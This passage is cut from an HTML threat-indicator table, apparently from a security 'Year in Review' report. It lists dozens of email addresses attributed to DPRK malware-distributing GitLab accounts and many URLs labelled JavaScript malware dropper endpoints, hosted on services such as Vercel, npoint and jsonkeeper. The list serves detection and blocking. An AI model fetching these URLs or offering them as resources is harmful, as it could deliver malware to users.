Review</td></tr><tr><td align="left"><code className="">itspeterszabo@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">xylosmontagueujsvt83787@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ivicastojadin488@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">seed1996017@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">bryandev0418@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ruslanlarionov77@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">superdev@outlook.com.au</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">cristhianmartinezrom7@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">natasa.golubovic90@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">weili.walk@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">afaq91169@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">mahmodghnaj1@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">look.as.united@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">rochaevertondev@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tabishhassan01998@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">temorexviashvili17@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">vovalishcn77@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">seed1996015@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">suryaedg88@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">maurostaver9@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">pleasemeup214@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">vitalii214.ilnytskyi@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">reactangulardev@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">skyearth711@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">migueljose81234@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">seed1996010@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">blackwang104@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">kagan.hungri@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">September 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">littebaby232355@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">kenycarl92@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">arnas.tf7@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">nandawsu58@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">magalhaesbruno236@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">martytowne03@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">peter@trovastra.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">martinez@trovastra.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">peterforward@trovastra.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">rick.cto@dantelabs.us</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">August 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tomgleeson92@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">huqyyitizomu@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tracykevin5590@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">seniorsky92@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">meftaht531@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tapiasamjann@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">johnwatson2327a@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">donald.edler0626@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">chrisritter5272@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">hs8179189@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dredsoft@proton.me</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">bloxdev1999@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">star712418@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jackson.murray.tf7@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">hudsonramsey107@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">samjanntapia@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dyup58725@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">davidfernandez420@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">May 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">scottdavis8188@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">May 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">samjannt1211@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">April 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ahmed03010229@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">April 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">hidranomagica@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">March 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jackson.blau.eth@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">February 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">agne09541@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">February 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">antontarasiuk0512@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">February 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">michael.dilks8500@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">January 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ignacioquesada127@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">January 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.cloud/api/service/token/792a2e10b9eaf9f0a73a71916e4269bc</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.com/api/service/token/1a049de15ad9d038a35f0e8b162dff76</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.com/api/service/token/7d6c3b0f7d1f3ae96e1d116cbeff2875</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.com/api/service/token/b2040f01294c183945fdbe487022cf8e</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://openmodules.org/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/106</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/212</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/81</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/823</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/99</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.mocki.io/v2/8sg8bhsv/tracks/errors/665232</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/159a15993f79c22e8ff6</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/62755a9b33836b5a6c28</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/b1f111907933b88418e4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/b68a5c259541ec53bb5d</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/c82d987dd2a0fb62e87f</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/d1ef256fc2ad6213726e</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/d4dfbbac8d7c44470beb</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/e6a6bfb97a294115677d</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/f4be0f7713a6fcdaac8b</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/f96fb4e8596bf650539c</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://astraluck-vercel.vercel.app/api/data</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://bs-production.up.railway.app/on</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://getApilatency.onrender.com/checkStatus</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://getpngdata.vercel.app/api/data</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://googlezauthtoken.vercel.app/checkStatus?id=S,T</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://ip-api-test.vercel.app/api/ip-check-encrypted/3aeb34a38</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://ip-check-server.vercel.app/api/ip-check-encrypted/3aeb34a37</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/4NAKK</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/8RLOV</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/CNMYL</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/DMVPT</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/E4YPZ</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/E7GKK</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/FM8D6</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/GLGT4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/L4T7Y</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/PCDZO</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/PQPTZ</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/WCXNT</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/XRGF3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/XV3WO</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jwt-alpha-woad.vercel.app/api</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://metric-analytics.vercel.app/api/getMoralisData</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://pngconvert-p0kl4fodi-jhones-projects-f8ddbcbe.vercel.app/api</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/linux?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/linux?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/linux?flag=8</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/mac?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/mac?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/mac?flag=8</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=8</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load-config.vercel.app/settings/linux?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load-config.vercel.app/settings/mac?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load-config.vercel.app/settings/windows?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/linux?flag=2</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/linux?flag=4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/linux?flag=9</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code 